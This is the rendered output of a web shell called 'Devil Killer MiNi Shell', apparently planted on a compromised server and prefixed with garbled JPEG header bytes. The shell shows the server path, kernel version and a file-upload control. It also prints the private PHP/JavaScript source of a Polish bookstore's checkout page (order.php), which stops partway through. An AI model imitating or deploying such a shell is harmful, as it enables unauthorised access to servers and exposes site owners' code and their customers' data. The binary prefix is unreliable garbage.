JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/ksiegarniakoszyk/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/views/ksiegarniakoszyk/order.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use common\models\Countries;
use yii\bootstrap\Modal;
use common\components\widgets\Pjax;
use frontend\components\helpers\SlugGenerator;
use frontend\assets\BookstoreShippingCartManagerAsset;
use common\models\types\DeliveryMethod;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

\common\components\assets\Geowidgetv4Asset::register($this);
\common\components\assets\PickupPointPocztaPolskaAsset::register($this);
\common\components\assets\PwRGeoPickerAsset::register($this);

BookstoreShippingCartManagerAsset::register($this);

/* @var $this yii\web\View */
/* @var $cartData array */
/* @var $modelForm frontend\models\BookstoreOrderForm */
/* @var $userCompanies array */
/* @var $modelsCompanies common\models\Companies[] */
/* @var $priceListsForCompanies array */
/* @var $itemsByCompanies array */
/* @var $itemsSubscriptionsByCompanies array */
/* @var $modelsOrdersDeliveries common\models\BookstoreOrderDeliveryForm[] */

$this->params['breadcrumbs'][] = ['label' => 'Księgarnia', 'url' => ['ksiegarnia/index']];
$this->params['breadcrumbs'][] = ['label' => 'Koszyk', 'url' => ['ksiegarniakoszyk/zawartosc']];
$this->params['breadcrumbs'][] = 'Zamówienie';

$totalAmount = 0.00;

$jsCodeForPwRGeoPicker = '';
if(!empty($modelsCompanies)) {
    foreach($modelsCompanies as $modelCompany) {
        $idCompany = $modelCompany->id_company;
        $jsCodeForPwRGeoPicker .= '
            $("#c'.$idCompany.'-select-pickup-point-ruch-all-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });

            $("#c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "CashOnDelivery": true,
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });
        ';
    }
}
$this->registerJs(
    '
    $("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]").on("click", function() {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            var idCompany = $("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            if(!idCompany) {
                clearContactDataFields();
            }
            $("div.only-company-field").show();
            $("#bookstoreorderform-id_company input[type=\"radio\"]:checked").trigger("click");
        }
    });
    
    var clearContactDataFields = function() {
        var fields = [
            "forename", "surname", "email", "phone", 
            "shipping_name", "shipping_postcode", "shipping_id_country", "shipping_locality", "shipping_street", "shipping_building_number", "shipping_apartment_number", "shipping_address_cont",
            "invoicing_name", "invoicing_tax_id", "invoicing_postcode", "invoicing_id_country", "invoicing_locality", "invoicing_street", "invoicing_building_number", "invoicing_apartment_number"
        ];
        
        $.each(fields, function(key, value) {
            $("#bookstore-order-form input[name=\"BookstoreOrderForm["+value+"]\"]").val("");
        });
        
        $("#vjs-selected-shippinig-data-container, #vjs-selected-data-to-account-container").html("");
    }
    
    if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 0) {
        $("div.only-company-field").hide();
    } else if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
        $("div.only-company-field").show();
        $("#bookstoreorderform-id_company input[type=\"radio\"]").first().trigger("click");
    }
    
    $("#bookstoreorderform-or_invoice").trigger("change");
    
    $(".vjs-delivery-option").on("change", function() {
        var input = $(this);
        var idCompany = input.data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val("");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val("");

        $("#bookstoreorderdeliveryform-"+idCompany+"-deliverymethod").val(input.data("delivery-method"));

        if(["'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'", "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'", "'.DeliveryMethod::PACKAGE_IN_RUCH.'", "'.DeliveryMethod::UPS_PICKUP_POINTS.'"].indexOf(input.data("delivery-method")) !== -1) {
            if(input.data("delivery-method") === "'.DeliveryMethod::PACKAGE_IN_RUCH.'") {
                if($("#bookstoreorderdeliveryform-"+idCompany+"-deliveryoption input:checked").data("cash-on-delivery") == 1) {
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                } else {
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                }
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").hide();
            } else {
                $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").show();
            }
            $("#select-pickup-point-container-"+idCompany).show();                
        } else {
            $("#select-pickup-point-container-"+idCompany).hide();
        } 
    });

    var orGeoWidgetInit = false;
    $(".vjs-select-pickup-point-button").on("click", function() {   
        var idCompany = $(this).data("id-company");

        if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'") {
            if(!orGeoWidgetInit) {
                easyPack.init({
                    map: {
                        initialZoom: 13,
                        detailsMinZoom: 15, // minimum zoom after marker click
                        autocompleteZoom: 14,
                        visiblePointsMinZoom: 13
                    },
                    points: {
                        types: ["parcel_locker"]
                    },
                });
                orGeoWidgetInit = true;
            }
            function pointCallback(point, modal) {
                modal.closeModal();
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.name).trigger("change");
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.address.line1+", "+point.address.line2).trigger("change");
            }
            easyPack.modalMap(pointCallback, { width: 500, height: 600 });
            easyPack.pointCallback = pointCallback;
        } else if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'") {
            PPWidgetApp.toggleMap({
                callback: function(point) {
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.type+" "+point.pni).trigger("change");
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.street+", "+point.zipCode+" "+point.city).trigger("change");
                }
            });
        } else {
            var url = $(this).data("url")+"&delivery_method="+$(".vjs-delivery-option:checked").data("delivery-method");
            $("#modal-pickup-point-list").data("id-company", idCompany);
            $("#modal-pickup-point-list").modal("show").find("#pickup-point-list-pjax").load(encodeURI(url));
        }
    }); 
    
    $("#pickup-point-list-pjax").on("click", ".vjs-select-pickup-point", function() {
        var idCompany = $("#modal-pickup-point-list").data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val($(this).data("id")).trigger("change");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val($(this).data("address")).trigger("change");
        $("#modal-pickup-point-list").modal("hide");
    });

    '.$jsCodeForPwRGeoPicker.' 

//    $(".vjs-delivery-option").trigger("change");

    '
);

$this->registerJs('
    $("document").ready(function(){

        $("#modal-shipping-data, #modal-data-to-account").on("click", ".v-radios[toggle-active]>div", function() {
            $(".v-radios[toggle-active]>div").removeClass("active");
            $(this).addClass("active");
        });

        $("#modal-shipping-data, #modal-data-to-account").on("click", ".v-radios[toggle-active] a[href=\"#usun\"]", function() {
            $(this).closest("div").hide();
            return false;
        });

    });
');

$countriesList = ArrayHelper::map(Countries::find()->orderBy('name')->asArray()->all(), 'id_country', 'name');

$this->registerJs('
    $("document").ready(function(){

        $(".vjs-shopping-data-modal-button").on("click", function() {
            var url = $(this).data("url");
            if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            }

            $("#modal-shipping-data").modal("show").find("#shipping-data-pjax").load(url);
        });
        
        $("#modal-shipping-data .vjs-select-shipping-data-button").on("click", function() {
            var selectedDataContainer = $("#shipping-data-pjax .v-radios div.active > p");
            
            if(selectedDataContainer.length) {
                var selectedData = selectedDataContainer.data();                 
                var output = `
                    ${selectedData.companyName ? selectedData.companyName + " <br>" : ""} 
                    ${selectedData.forename} ${selectedData.surname} <br>
                    ${selectedData.street} ${selectedData.buildingNumber} ${ selectedData.apartmentNumber ? " / "+selectedData.apartmentNumber : ""} <br> 
                    ${selectedData.postcode} ${selectedData.locality} ${ selectedData.idCountry !== "PL" ? "("+selectedData.country+")" : ""} <br>
                    ${selectedData.addressCont ? selectedData.addressCont + " <br>" : ""} 
                    tel.: ${selectedData.phone} <br>
                    email: ${selectedData.email} <br>
                `;
                $("#vjs-selected-shippinig-data-container").html(output);
                $("#vjs-shipping-data-button").html("ZMIEŃ");
                
                $("#bookstoreorderform-forename").val(selectedData.forename);
                $("#bookstoreorderform-surname").val(selectedData.surname);
                $("#bookstoreorderform-shipping_company_name").val(selectedData.companyName);
                $("#bookstoreorderform-email").val(selectedData.email);
                $("#bookstoreorderform-phone").val(selectedData.phone);
                $("#bookstoreorderform-shipping_id_country").val(selectedData.idCountry);
                $("#bookstoreorderform-shipping_postcode").val(selectedData.postcode);
                $("#bookstoreorderform-shipping_locality").val(selectedData.locality);
                $("#bookstoreorderform-shipping_street").val(selectedData.street);
                $("#bookstoreorderform-shipping_building_number").val(selectedData.buildingNumber);
                $("#bookstoreorderform-shipping_apartment_number").val(selectedData.apartmentNumber);
                $("#bookstoreorderform-shipping_address_cont").val(selectedData.addressCont);
                $("#vjs-shipping-data-error-message").hide().html("");

            } else {
                $("#vjs-selected-shippinig-data-container").html("");
                $("#vjs-shipping-data-button").html("WYBIERZ");
                $("#vjs-shipping-data-error-message").show().html("Musisz wybrać dane zamawiającego.");
                
                $("#bookstoreorderform-forename, #bookstoreorderform-surname, #bookstoreorderform-company_name, #bookstoreorderform-email, #bookstoreorderform-phone, #bookstoreorderform-shipping_id_country, #bookstoreorderform-shipping_postcode, #bookstoreorderform-shipping_locality, #bookstoreorderform-shipping_street, #bookstoreorderform-shipping_building_number, #bookstoreorderform-shipping_apartment_number, #bookstoreorderform-shipping_address_cont").val("");
            }
            
            //$("#modal-shipping-data").modal("hide")
        });
        
        $(".vjs-data-to-account-modal-button").on("click", function() {
            var url = $(this).data("url");
            if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            }
            $("#modal-data-to-account").modal("show").find("#data-to-account-pjax").load(url);
        });
        
        $("#modal-data-to-account .vjs-select-data-to-account-button").on("click", function() {
            var selectedDataContainer = $("#data-to-account-pjax .v-radios div.active > p");
            
            if(selectedDataContainer.length) {
                var selectedData = selectedDataContainer.data();                 
                var output = `
                    ${selectedData.name} <br>
                    ${selectedData.street} ${selectedData.buildingNumber} ${ selectedData.apartmentNumber ? " / "+selectedData.apartmentNumber : ""} <br> 
                    ${selectedData.postcode} ${selectedData.locality} ${ selectedData.idCountry !== "PL" ? "("+selectedData.country+")" : ""} <br>
                    ${selectedData.taxId ? "NIP: " + selectedData.taxId + "<br>" : ""}
                `;
                $("#vjs-selected-data-to-account-container").html(output);
                $("#vjs-data-to-account-button").html("ZMIEŃ");
                
                $("#bookstoreorderform-invoicing_name").val(selectedData.name);
                $("#bookstoreorderform-invoicing_tax_id").val(selectedData.taxId);
                $("#bookstoreorderform-invoicing_id_country").val(selectedData.idCountry);
                $("#bookstoreorderform-invoicing_postcode").val(selectedData.postcode);
                $("#bookstoreorderform-invoicing_locality").val(selectedData.locality);
                $("#bookstoreorderform-invoicing_street").val(selectedData.street);
                $("#bookstoreorderform-invoicing_building_number").val(selectedData.buildingNumber);
                $("#bookstoreorderform-invoicing_apartment_number").val(selectedData.apartmentNumber);
                $("#vjs-data-to-account-error-message").hide().html("");

            } else {
                $("#vjs-selected-data-to-account-container").html("");
                $("#vjs-data-to-account-button").html("WYBIERZ");
                if(document.getElementById("bookstoreorderform-or_invoice").checked) {
                    $("#vjs-data-to-account-error-message").show().html("Musisz wybrać dane do rozliczeń.");
                }
                
                $("#bookstoreorderform-invoicing_name, #bookstoreorderform-invoicing_tax_id, #bookstoreorderform-invoicing_id_country, #bookstoreorderform-invoicing_postcode, #bookstoreorderform-invoicing_locality, #bookstoreorderform-invoicing_street, #bookstoreorderform-invoicing_building_number, #bookstoreorderform-invoicing_apartment_number").val("");
            }
            
            //$("#modal-data-to-account").modal("hide")
        });
        
        $("#bookstore-order-form").on("afterValidate", function (event, messages, errorAttributes) {
        console.log(errorAttributes);
            if(errorAttributes.length === 0) {
                return true;
            }
            
            for(var i = 0; i < errorAttributes.length; i++) {
                if([
                    "bookstoreorderform-forename", "bookstoreorderform-surname", "bookstoreorderform-email", "bookstoreorderform-phone", 
                    "bookstoreorderform-shipping_id_country", "bookstoreorderform-shipping_postcode", "bookstoreorderform-shipping_locality", 
                    "bookstoreorderform-shipping_street", "bookstoreorderform-shipping_building_number", "bookstoreorderform-shipping_apartment_number", 
                    "bookstoreorderform-shipping_address_cont"
                ].indexOf(errorAttributes[i].id) !== -1) {
                    $("#vjs-shipping-data-error-message").show().html("Błąd danych do wysyłki");
                    //console.log("Błąd danych do wysyłki");
                } else if(document.getElementById("bookstoreorderform-or_invoice").checked && [
                    "bookstoreorderform-invoicing_tax_id", "bookstoreorderform-invoicing_name", "bookstoreorderform-invoicing_street", 
                    "bookstoreorderform-invoicing_building_number", "bookstoreorderform-invoicing_apartment_number", 
                    "bookstoreorderform-invoicing_postcode", "bookstoreorderform-invoicing_locality", "bookstoreorderform-invoicing_id_country", 
                ].indexOf(errorAttributes[i].id) !== -1) {
                    $("#vjs-data-to-account-error-message").show().html("Błąd danych do faktury");
                    //console.log("Błąd danych do faktury");
                }
            }
        });
        
        $("#modal-shipping-data .vjs-add-shipping-data-button").on("click", function(e) {
            e.preventDefault();
            var url = e.target.href;
            if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            }
            $("#modal-shipping-data-modify").modal("show").find("#shipping-data-modify-pjax").load(url);
        });

        $("#modal-shipping-data").on("click", ".vjs-edit-button", function(e) {
            e.preventDefault();
            $("#modal-shipping-data-modify").modal("show").find("#shipping-data-modify-pjax").load(e.target.href);
        });
        
        $("#modal-shipping-data-modify").on("click", ".vjs-shipping-data-modify-button", function() {
            $("#modal-shipping-data-modify form").yiiActiveForm("submitForm");
            $("#shipping-data-modify-pjax").on("pjax:success", function() {
                setTimeout(function() {
                    $("#modal-shipping-data-modify").modal("hide");
                    var url = $("#vjs-shipping-data-button").data("url");
                    if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                        url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
                    }
                    $("#modal-shipping-data").modal("show").find("#shipping-data-pjax").load(url);
                }, 500);
            });
        });
        
        $("#modal-data-to-account .vjs-add-data-to-account-button").on("click", function(e) {
            e.preventDefault();
            var url = e.target.href;
            if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            }
            $("#modal-data-to-account-modify").modal("show").find("#data-to-account-modify-pjax").load(url);
        });

        $("#modal-data-to-account").on("click", ".vjs-edit-button", function(e) {
            e.preventDefault();
            $("#modal-data-to-account-modify").modal("show").find("#data-to-account-modify-pjax").load(e.target.href);
        });
        
        $("#modal-data-to-account-modify").on("click", ".vjs-data-to-account-modify-button", function() {
            $("#modal-data-to-account-modify form").yiiActiveForm("submitForm");
            $("#data-to-account-modify-pjax").on("pjax:success", function() {
                setTimeout(function() {
                    $("#modal-data-to-account-modify").modal("hide");
                    var url = $("#vjs-data-to-account-button").data("url");
                    if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
                        url += "?id_company="+$("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
                    }
                    $("#modal-data-to-account").modal("show").find("#data-to-account-pjax").load(url);
                }, 500);
            });
        });

        $("#bookstoreorderform-or_invoice").on("change", function() {
            if(!$(this).is(":checked")) {
                $("#vjs-data-to-account-error-message").hide().html("");
            } 
        });
        
        if($("#bookstoreorderform-or_invoice").is(":checked")){
             $("#faktura").show();   
        };     
        
        $("#bookstoreorderform-or_invoice").change(function() {
            if(this.checked) {
                $("#faktura").show();
            }else{
                $("#faktura").hide();
            };
        });
        
        $(".vjs-delivery-option").change(function() {
            var dostawa = 0;
            $( ".vjs-delivery-option" ).each(function() {
               if(this.checked){dostawa = dostawa + parseFloat($(this).data("amount"));};
            });
            var przedmioty =  parseFloat($("#przedmioty").data("amount"));
            $("#dostawa").text(dostawa.toFixed(2).replace(".",",")+" zł");
            var suma = (dostawa + przedmioty).toFixed(2).split(".");
            $("#zloty").text(suma[0]);
            $("#groszy").text(suma[1]);
        });
        
    });
');

?>
<style>
.modal .form-group label {
    top: -10px;
    background: #FFF;
    font-size: 13px;
    left: 10px;
}
</style>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-pickup-point-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'pickup-point-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin([
    'header' => '<h4 class="modal-title">Zapisane adresy</h4>', 
    'id' => 'modal-shipping-data', 
    'size' => Modal::SIZE_LARGE, 
    'options' => ['class' => 'modal fade v-modal v-form'],
    'bodyOptions' => ['style' => 'max-height: 50vh; overflow: auto; padding-top: 5px;', 'class' => 'modal-body'],
    'footer' => '<div class="text-right">
        <span class="btn btn-orange vjs-select-shipping-data-button" data-dismiss="modal">ZATWIERDŹ</span>
        <a class="v-more pl10px pr10px pull-left vjs-add-shipping-data-button" data-toggle="modal" href="'.Url::to(['ustawienia/nowy-adres-zamawiajacego']).'">DODAJ NOWE DANE</a>
    </div>'
]); ?>
    <?php 
        Pjax::begin([
            'id' => 'shipping-data-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin([
    'header' => '<h4 class="modal-title">Dane zamawiającego</h4>', 
    'id' => 'modal-shipping-data-modify', 
    'size' => Modal::SIZE_LARGE, 
    'options' => ['class' => 'modal fade v-modal v-form'],
    'bodyOptions' => ['class' => 'modal-body'],
    'footer' => '<div class="text-right">
        <span class="btn btn-orange vjs-shipping-data-modify-button">ZAPISZ ZMIANY</span>
    </div>'
]); ?>
    <?php 
        Pjax::begin([
            'id' => 'shipping-data-modify-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin([
    'header' => '<h4 class="modal-title">Zapisane dane do faktur</h4>', 
    'id' => 'modal-data-to-account', 
    'size' => Modal::SIZE_LARGE, 
    'options' => ['class' => 'modal fade v-modal v-form'],
    'bodyOptions' => ['class' => 'modal-body'],
    'footer' => '<div class="text-right">
        <span class="btn btn-orange vjs-select-data-to-account-button" data-dismiss="modal">ZATWIERDŹ</span>
        <a class="v-more pl10px pr10px pull-left vjs-add-data-to-account-button" data-toggle="modal" href="'.Url::to(['ustawienia/nowe-dane-do-rozliczen']).'">DODAJ NOWE DANE</a>
    </div>'
]); ?>
    <?php 
        Pjax::begin([
            'id' => 'data-to-account-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin([
    'header' => '<h4 class="modal-title">Dane do faktury</h4>', 
    'id' => 'modal-data-to-account-modify', 
    'size' => Modal::SIZE_LARGE, 
    'options' => ['class' => 'modal fade v-modal v-form'],
    'bodyOptions' => ['style' => 'max-height: 50vh; overflow: auto; padding-top: 5px;', 'class' => 'modal-body'],
    'footer' => '<div class="text-right">
        <span class="btn btn-orange vjs-data-to-account-modify-button">ZAPISZ ZMIANY</span>
    </div>'
]); ?>
    <?php 
        Pjax::begin([
            'id' => 'data-to-account-modify-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell">
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Twój koszyk') ?></span>
            </h2> 

            
            <?php if(Yii::$app->session->hasFlash('error')): ?>
                <div class="alert alert-danger text-left mt1" role="alert">
                    <?php $errors = Yii::$app->session->getFlash('error')[0]; ?>
                    <?= is_array($errors) ? implode('<br>', $errors) : $errors ?>
                </div>
            <?php endif; ?>
            <?php if(Yii::$app->session->hasFlash('confirm')): ?>
                <div class="alert alert-info text-left mt1" role="alert">
                    <?= Yii::$app->session->getFlash('confirm')[0]; ?>
                </div>
            <?php endif; ?>
            
            
        <?php $form = ActiveForm::begin([
            'id' => 'bookstore-order-form',
            'method' => 'post',
            'enableAjaxValidation' => false,
            'enableClientValidation' => true,
            'validateOnSubmit' => true,
            'validateOnChange' => false,
            'validateOnType' => false,
            'options' => [
    //                    'enctype' => 'multipart/form-data',
                'class' => 'col-xs-12 -form-horizontal'
            ],
        ]); ?>
        


                    <div class="col-sm-10 col-sm-push-1 mt1">    
                        <div class="text-center strong portal-color mb1">Zamówienie składa</div>

                         <?= $form->field($modelForm, 'or_company', [
                            'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                            'options' => ['class' => 'form-group row'],
                            'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                        ])->radioList(
                            [
                                '0' => 'osoba prywatna', 
                                '1' => 'firma'
                            ],
                            [
                                'item' => function ($index, $label, $name, $checked, $value) {
                                    $additionalClass = (intval($value) === 0) ? ' populate-form' : '';                    
                                    $output = '<div>';
                                    $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_is_asking_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio'.$additionalClass.'"';
                                    $output .= '><label for="radio_is_asking_'.($index+1).'"></label> '.$label;
                                    $output .= '</div>';

                                    return $output;
                                }
                            ]
                        ) ?>

                        <?php if(!empty($userCompanies)): ?>
                            <?php if(empty($modelForm->id_company)) { $modelForm->id_company = ''; } ?>
